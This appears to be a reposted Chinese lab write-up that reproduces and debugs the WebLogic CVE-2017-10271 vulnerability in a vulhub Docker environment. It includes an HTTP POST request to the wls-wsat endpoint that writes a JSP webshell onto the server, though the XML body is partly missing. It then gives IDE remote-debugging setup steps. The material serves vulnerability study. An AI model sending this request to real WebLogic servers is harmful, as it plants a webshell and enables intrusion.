栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

[复现调试] Weblogic CVE-2017-10271

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[复现调试] Weblogic CVE-2017-10271

复现

docker启动环境
docker-compose up -d

访问该路径 http://106.13.xx.xxx:7001/wls-wsat/CoordinatorPortType11 如下图说明存在漏洞

写shell,通过如下payload

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxx.xx.xx.xxx:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 650


    
    
    
     
    servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp
    
    
    ]]>
    
    
    
    
    
    
    

访问shell http://xxx.xx.xx.xxx:7001/bea_wls_internal/test.jsp

IDEA调试

切换到/root/vulhub/weblogic/CVE-2017-10271目录

修改docker-compose.yml文件,增加8453端口

docker-compose up -d 启动环境

docker exec -it 5a989b32b2cf /bin/bash 进入容器,cd /root/Oracle/Middleware/user_projects/domains/base_domain/bin/ 切换到该目录。

修改 setDomainEnv.sh文件在如下位置增加,命令 vi setDomainEnv.sh
debugFlag=true
export debugFlag

切换到 /root/Oracle/Middleware 目录,使用如下命令将容器的modules目录、wlserver_10.3目录拷贝到注入root目录。

docker cp 5a989b32b2cf:/root/Oracle/Middleware/modules /root
docker cp 5a989b32b2cf:/root/Oracle/Middleware/wlserver_10.3 /root

用maven创建一个java项目,将modules、wlserver_10.3导入项目

再导入wlserver_10.3serverlib下的jar包和modules的所有文件

IDEA远程调试设置

在该文件下个断点,点击右上角的小虫子,然后访问http://xxx.xx.xx.xxx:7001/wls-wsat/CoordinatorPortType

参考

https://www.cnblogs.com/kbhome/p/12864801.html
https://mp.weixin.qq.com/s/F325NMLs2MiAfo-F_kV-1g

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/331923.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号